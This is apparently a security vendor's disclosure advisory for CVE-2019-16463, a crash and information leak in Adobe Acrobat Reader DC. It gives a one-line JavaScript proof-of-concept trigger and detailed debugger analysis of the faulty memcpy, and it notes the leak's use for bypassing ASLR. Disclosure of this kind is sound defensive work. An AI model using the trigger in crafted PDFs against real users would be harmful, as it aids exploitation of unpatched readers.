CVE-2019-16463
A specific JavaScript code embedded in a PDF file can lead to information leak when opening a PDF document in Adobe Acrobat Reader DC 2019.021.20048. With careful memory manipulation, this can lead to sensitive information disclose which could be abused when exploiting another vulnerability to bypass mitigations. In order to trigger this vulnerability, the victim would need to open the malicious file or access a malicious web page.
Adobe Acrobat Reader DC 2019.021.20048
6.8 - CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:H
CWE-754: Improper Check for Unusual or Exceptional Conditions
Adobe Acrobat Reader is the most popular and most feature-rich PDF reader. It has a big user base, is usually a default PDF reader on systems and integrates into web browsers as a plugin for rendering PDFs. As such, tricking a user into visiting a malicious web page or sending a specially crafted email attachment can be enough to trigger this vulnerability.
Adobe Acrobat Reader DC supports embedded JavaScript code in the PDF to allow for interactive PDF forms. This gives the potential attacker the ability to precisely control memory layout and poses additional attack surface.
Javascript gotoNamedDest
function’s use is to jump to a specified bookmark. However, calling this function with a non-existent bookmark name causes an exception to be thrown which is not handled properly. Simply executing the following code is enough to trigger it:
app.activeDocs[0].gotoNamedDest("nonexistant");
This will lead to the following crash:
(1774.ac4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=af81e6c0 ebx=056fc98c ecx=16b9c9b0 edx=463cafb8 esi=7ffeffb1 edi=96b8c970
eip=6a53e1c0 esp=056fc8d4 ebp=056fc8ec iopl=0 nv up ei ng nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010282
VCRUNTIME140!TrailingDownVec+0x80:
6a53e1c0 f30f6f06 movdqu xmm0,xmmword ptr [esi] ds:002b:7ffeffb1=????????????????????????????????
0:000> k 5
# ChildEBP RetAddr
00 056fc8d8 674f8d02 VCRUNTIME140!TrailingDownVec+0x80 [f:\dd\vctools\crt\vcruntime\src\string\i386\memcpy.asm @ 505]
WARNING: Stack unwind information not available. Following frames may be wrong.
01 056fc8ec 67d9f8b6 AcroRd32!AcroWinMainSandbox+0xb432
02 056fc998 694a01a7 AcroRd32!AIDE::PixelPartInfo::operator=+0xf90e6
03 056fca50 69453681 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x37567
04 056fcb98 694371dd EScript!mozilla::HashBytes+0x42d01
0:000> dd esi
7ffeffb1 ???????? ???????? ???????? ????????
7ffeffc1 ???????? ???????? ???????? ????????
7ffeffd1 ???????? ???????? ???????? ????????
7ffeffe1 ???????? ???????? ???????? ????????
7ffefff1 ???????? ???????? ???????? ????????
7fff0001 b4eeeeee 00411b36 00000000 00000000
7fff0011 00000000 00000000 00000000 bb000000
7fff0021 00abcdbb b907f010 00463caf 00463cb0
0:000> ?ecx
Evaluate expression: 381274544 = 16b9c9b0
0:000> dd edi
96b8c970 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
96b8c980 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
96b8c990 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
96b8c9a0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
96b8c9b0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
96b8c9c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
96b8c9d0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
96b8c9e0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
From the above, we can conclude that the crash happens on a memcpy
call and at the time of the crash memcpy
source points to invalid memory, size argument is huge and destination points to valid memory. Stepping back a bit shows that the function where the crashing memcpy
call happens is the following:
eax=0cfb3ee2 ebx=00000001 ecx=67d9f710 edx=00000004 esi=67d9f710 edi=00000000
eip=694a01a5 esp=00afcd3c ebp=00afcde0 iopl=0 nv up ei pl zr na pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000247
EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x37565:
694a01a5 ffd6 call esi {AcroRd32!AIDE::PixelPartInfo::operator=+0xf8f40 (67d9f710)}
0:000>
Due to exception handling, function arguments will be accessed through ebx
:
eax=0cfb3ee2 ebx=00000001 ecx=67d9f710 edx=00000004 esi=67d9f710 edi=00000000
eip=694a01a5 esp=00afcd3c ebp=00afcde0 iopl=0 nv up ei pl zr na pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000247
EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x37565:
694a01a5 ffd6 call esi {AcroRd32!AIDE::PixelPartInfo::operator=+0xf8f40 (67d9f710)}
0:000> t
eax=0cfb3ee2 ebx=00000001 ecx=67d9f710 edx=00000004 esi=67d9f710 edi=00000000
eip=67d9f710 esp=00afcd38 ebp=00afcde0 iopl=0 nv up ei pl zr na pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000247
AcroRd32!AIDE::PixelPartInfo::operator=+0xf8f40:
67d9f710 6a08 push 8
0:000> p
eax=0cfb3ee2 ebx=00000001 ecx=67d9f710 edx=00000004 esi=67d9f710 edi=00000000
eip=67d9f712 esp=00afcd34 ebp=00afcde0 iopl=0 nv up ei pl zr na pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000247
AcroRd32!AIDE::PixelPartInfo::operator=+0xf8f42:
67d9f712 6a78 push 78h
0:000>
eax=0cfb3ee2 ebx=00000001 ecx=67d9f710 edx=00000004 esi=67d9f710 edi=00000000
eip=67d9f714 esp=00afcd30 ebp=00afcde0 iopl=0 nv up ei pl zr na pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000247
AcroRd32!AIDE::PixelPartInfo::operator=+0xf8f44:
67d9f714 b8b5e25e68 mov eax,offset AcroRd32!CTJPEGThrowException+0x182b35 (685ee2b5)
0:000>
eax=685ee2b5 ebx=00000001 ecx=67d9f710 edx=00000004 esi=67d9f710 edi=00000000
eip=67d9f719 esp=00afcd30 ebp=00afcde0 iopl=0 nv up ei pl zr na pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000247
AcroRd32!AIDE::PixelPartInfo::operator=+0xf8f49:
67d9f719 e8c8467dff call AcroRd32!DllCanUnloadNow+0x36fc6 (67573de6)
0:000>
eax=00afcd1c ebx=00afcd34 ecx=67d9f710 edx=00000004 esi=67d9f710 edi=00000000
eip=67d9f71e esp=00afcc90 ebp=00afcd28 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
AcroRd32!AIDE::PixelPartInfo::operator=+0xf8f4e:
67d9f71e 8b730c mov esi,dword ptr [ebx+0Ch] ds:002b:00afcd40=00afcda4
0:000>
eax=00afcd1c ebx=00afcd34 ecx=67d9f710 edx=00000004 esi=00afcda4 edi=00000000
eip=67d9f721 esp=00afcc90 ebp=00afcd28 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
AcroRd32!AIDE::PixelPartInfo::operator=+0xf8f51:
67d9f721 85f6 test esi,esi
Above shows access to the first argument copied into esi
. We can see the following:
0:000> dd esi
00afcda4 00000000 33120ff0 0000000b 00000000
00afcdb4 00000000 00000000 00000000 00000000
00afcdc4 00000000 00000000 df5e6de7 00afcd44
00afcdd4 00afcf1c 695a4c33 00000001 00afcf28
00afcde4 69453681 3aaccfb8 3c944fe8 39804fb8
00afcdf4 3ca1eff0 df5e6f2f 00afcf94 69452f30
00afce04 00000000 6943a3ae 39acaf58 3c252e38
00afce14 00000001 26652fe8 3c944fe8 3aaccfb8
0:000> da poi(esi+4)
33120ff0 "nonexistant"
Third dword is a pointer to our bookmark string, and fourth is a length value. These are supposed to be used in a later memcpy
call as source and length arguments. However, continuing execution shows that an exception is raised:
0:000> sxe eh
0:000> g
(74c.24f0): C++ EH exception - code e06d7363 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** Unable to resolve unqualified symbol in Bp expression 'termdd.sys+2966'.
eax=00afca98 ebx=00afcb44 ecx=00000003 edx=00000000 esi=6a531530 edi=68b91e54
eip=74a62cf2 esp=00afca98 ebp=00afcaf0 iopl=0 nv up ei pl nz ac po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000212
KERNELBASE!RaiseException+0x62:
74a62cf2 8b4c2454 mov ecx,dword ptr [esp+54h] ss:002b:00afcaec=fa5e0730
0:000> k
# ChildEBP RetAddr
00 00afcaf0 6a534926 KERNELBASE!RaiseException+0x62
01 00afcb34 67761501 VCRUNTIME140!_CxxThrowException+0x66 [f:\dd\vctools\crt\vcruntime\src\eh\throw.cpp @ 131]
WARNING: Stack unwind information not available. Following frames may be wrong.
02 00afcb4c 67633434 AcroRd32!CTJPEGDecoderRelease+0x7d541
03 00afcb70 679e40fb AcroRd32!DllCanUnloadNow+0xf6614
04 00afcb80 675950f6 AcroRd32!AX_PDXlateToHostEx+0x18ad1b
05 00afcbac 67595037 AcroRd32!DllCanUnloadNow+0x582d6
06 00afcc08 67594eeb AcroRd32!DllCanUnloadNow+0x58217
07 00afcc4c 676d3468 AcroRd32!DllCanUnloadNow+0x580cb
08 00afcc7c 67d9f7f1 AcroRd32!DllCanUnloadNow+0x196648
09 00afcd28 694a01a7 AcroRd32!AIDE::PixelPartInfo::operator=+0xf9021
0a 00afcde0 69453681 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x37567
0b 00afcf28 694371dd EScript!mozilla::HashBytes+0x42d01
0c 00afcf9c 69431deb EScript!mozilla::HashBytes+0x2685d
0d 00afd430 69430d4b EScript!mozilla::HashBytes+0x2146b
0e 00afd468 69430c5b EScript!mozilla::HashBytes+0x203cb
0f 00afd4a4 69430b90 EScript!mozilla::HashBytes+0x202db
10 00afd4d8 6941a1ec EScript!mozilla::HashBytes+0x20210
11 00afd528 69459ec9 EScript!mozilla::HashBytes+0x986c
12 00afd5ac 69459b84 EScript!mozilla::HashBytes+0x49549
13 00afd760 694595fa EScript!mozilla::HashBytes+0x49204
14 00afd7ac 69458592 EScript!mozilla::HashBytes+0x48c7a
15 00afd844 694d6e0f EScript!mozilla::HashBytes+0x47c12
16 00afd8a4 67dc59e7 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x6e1cf
17 00afd8c8 67cd14ed AcroRd32!AIDE::PixelPartInfo::operator=+0x11f217
18 00afd958 67ccce43 AcroRd32!AIDE::PixelPartInfo::operator=+0x2ad1d
19 00afd9a8 67a828c8 AcroRd32!AIDE::PixelPartInfo::operator=+0x26673
1a 00afd9d8 67a82e3a AcroRd32!AX_PDXlateToHostEx+0x2294e8
1b 00afda30 67cd114e AcroRd32!AX_PDXlateToHostEx+0x229a5a
After following the exception handling unwinding we end up back at the function that ends up calling memcpy
:
Breakpoint 2 hit
eax=00000000 ebx=00afcd1c ecx=00000009 edx=ffffffa8 esi=80010000 edi=00000009
eip=67d9f88c esp=00afcc90 ebp=00afcd28 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
AcroRd32!AIDE::PixelPartInfo::operator=+0xf90bc:
67d9f88c 8b730c mov esi,dword ptr [ebx+0Ch] ds:002b:00afcd28=00afcde0
0:000> u
AcroRd32!AIDE::PixelPartInfo::operator=+0xf90bc:
67d9f88c 8b730c mov esi,dword ptr [ebx+0Ch]
67d9f88f 8b4608 mov eax,dword ptr [esi+8]
67d9f892 40 inc eax
67d9f893 50 push eax
67d9f894 e8f72075ff call AcroRd32!AcroWinMainSandbox+0x40c0 (674f1990)
67d9f899 8bf8 mov edi,eax
67d9f89b 897dd4 mov dword ptr [ebp-2Ch],edi
67d9f89e 897dcc mov dword ptr [ebp-34h],edi
Notice in the above disassembly output that function arguments are again referenced from ebx
and that value in esi
is copied from ebx+0xc
. Again, dword at esi+8
is supposed to be string size, but if we examine ebx
we’ll see it’s now shifted:
0:000> dd ebx
00afcd1c 00afcdd4 685ee2b5 00000001 00afcde0
00afcd2c 694a01a7 00000078 00000001 694a01a7
00afcd3c 35af61b8 00afcda4 df5e6de7 3aaccfb8
00afcd4c 39ac8fc0 694a0020 01000002 695b44ec
00afcd5c 00000003 00000000 00afcd9c 00000001
00afcd6c 00000000 00000005 00010000 00000000
00afcd7c 00000000 ffffffff 00000000 3aaccfb8
00afcd8c 3c944fe8 39804fb8 2994ed78 00000001
Consequently, esi
no longer points to the valid, expected structure:
0:000> dd esi
00afcde0 00afcf28 69453681 3aaccfb8 3c944fe8
00afcdf0 39804fb8 3ca1eff0 df5e6f2f 00afcf94
00afce00 69452f30 00000000 6943a3ae 39acaf58
00afce10 3c252e38 00000001 26652fe8 3c944fe8
00afce20 3aaccfb8 3bf29ad8 00000000 365e90e8
00afce30 3bfa0dd0 694a0020 00000000 3c944fe8
00afce40 01252e38 00000000 39804fb8 39ac8fc0
00afce50 3ca1eff0 00000000 39ac8fc0 3801cff0
Third dword is now 3aaccfb8
which ends up being used as a size argument to malloc
and creates a very large heap allocation:
0:000> p
eax=3aaccfb9 ebx=00afcd1c ecx=00000009 edx=ffffffa8 esi=00afcde0 edi=00000009
eip=67d9f893 esp=00afcc90 ebp=00afcd28 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
AcroRd32!AIDE::PixelPartInfo::operator=+0xf90c3:
67d9f893 50 push eax
0:000>
eax=3aaccfb9 ebx=00afcd1c ecx=00000009 edx=ffffffa8 esi=00afcde0 edi=00000009
eip=67d9f894 esp=00afcc8c ebp=00afcd28 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
AcroRd32!AIDE::PixelPartInfo::operator=+0xf90c4:
67d9f894 e8f72075ff call AcroRd32!AcroWinMainSandbox+0x40c0 (674f1990)
0:000>
eax=7fff0040 ebx=00afcd1c ecx=3aaccfb9 edx=01000002 esi=00afcde0 edi=00000009
eip=67d9f899 esp=00afcc8c ebp=00afcd28 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
AcroRd32!AIDE::PixelPartInfo::operator=+0xf90c9:
67d9f899 8bf8 mov edi,eax
0:000> ?eax
Evaluate expression: 2147418176 = 7fff0040
0:000> !heap -p -a eax
*** Unable to resolve unqualified symbol in Bp expression 'termdd.sys+2966'.
address 7fff0040 found in
_DPH_HEAP_ROOT @ b71000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
46e00104: 7fff0040 3aaccfb9 - 7fff0000 3aace000
unknown!fillpattern
6bd4abb0 verifier!AVrfDebugPageHeapAllocate+0x00000240
77e1245b ntdll!RtlDebugAllocateHeap+0x00000039
77d76dd9 ntdll!RtlpAllocateHeap+0x000000f9
77d75ec9 ntdll!RtlpAllocateHeapInternal+0x00000179
77d75d3e ntdll!RtlAllocateHeap+0x0000003e
*** Unable to resolve unqualified symbol in Bp expression 'termdd.sys+2966'.
76691406 ucrtbase!_malloc_base+0x00000026
674f19a9 AcroRd32!AcroWinMainSandbox+0x000040d9
67d9f899 AcroRd32!AIDE::PixelPartInfo::operator=+0x000f90c9
694a01a7 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x00037567
69453681 EScript!mozilla::HashBytes+0x00042d01
694371dd EScript!mozilla::HashBytes+0x0002685d
69431deb EScript!mozilla::HashBytes+0x0002146b
69430d4b EScript!mozilla::HashBytes+0x000203cb
69430c5b EScript!mozilla::HashBytes+0x000202db
69430b90 EScript!mozilla::HashBytes+0x00020210
6941a1ec EScript!mozilla::HashBytes+0x0000986c
69459ec9 EScript!mozilla::HashBytes+0x00049549
69459b84 EScript!mozilla::HashBytes+0x00049204
694595fa EScript!mozilla::HashBytes+0x00048c7a
69458592 EScript!mozilla::HashBytes+0x00047c12
694d6e0f EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x0006e1cf
67dc59e7 AcroRd32!AIDE::PixelPartInfo::operator=+0x0011f217
67cd14ed AcroRd32!AIDE::PixelPartInfo::operator=+0x0002ad1d
67ccce43 AcroRd32!AIDE::PixelPartInfo::operator=+0x00026673
67a828c8 AcroRd32!AX_PDXlateToHostEx+0x002294e8
67a82e3a AcroRd32!AX_PDXlateToHostEx+0x00229a5a
67cd114e AcroRd32!AIDE::PixelPartInfo::operator=+0x0002a97e
676740e8 AcroRd32!DllCanUnloadNow+0x001372c8
6767406a AcroRd32!DllCanUnloadNow+0x0013724a
67645317 AcroRd32!DllCanUnloadNow+0x001084f7
6759930c AcroRd32!DllCanUnloadNow+0x0005c4ec
675986b5 AcroRd32!DllCanUnloadNow+0x0005b895
Continuing execution further leads to a memcpy
call:
AcroRd32!AIDE::PixelPartInfo::operator=+0xf90da:
67d9f8aa ff7608 push dword ptr [esi+8]
67d9f8ad ff7604 push dword ptr [esi+4]
67d9f8b0 57 push edi
67d9f8b1 e8309475ff call AcroRd32!AcroWinMainSandbox+0xb416 (674f8ce6) (actually memcpy)
Here, newly allocated huge memory chunk is used as a destination, invalid pointer is used as a source and an invalid value as a size. Since the destination is big enough, no buffer overflow will happen, but memcpy
call will crash when it reaches an unmapped memory address:
(74c.24f0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=a3f206c0 ebx=00afcd1c ecx=16b9c9b0 edx=3aaccfb8 esi=7ffeffb1 edi=96b8c970
eip=6a53e1c0 esp=00afcc64 ebp=00afcc7c iopl=0 nv up ei ng nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010282
VCRUNTIME140!TrailingDownVec+0x80:
6a53e1c0 f30f6f06 movdqu xmm0,xmmword ptr [esi] ds:002b:7ffeffb1=????????????????????????????????
Shifting the stack leads to an invalid pointer being used where a pointer to a known structure is expected. If this pointer can be at least partially controlled, a large part of heap memory could be copied into controlled memory buffer which could be abused as an info leak to aid bypassing ASLR or other mitigations.
2019-10-31 - Vendor Disclosure
2019-12-10 - Vendor patched; public release
Discovered by Aleksandar Nikolic of Cisco Talos.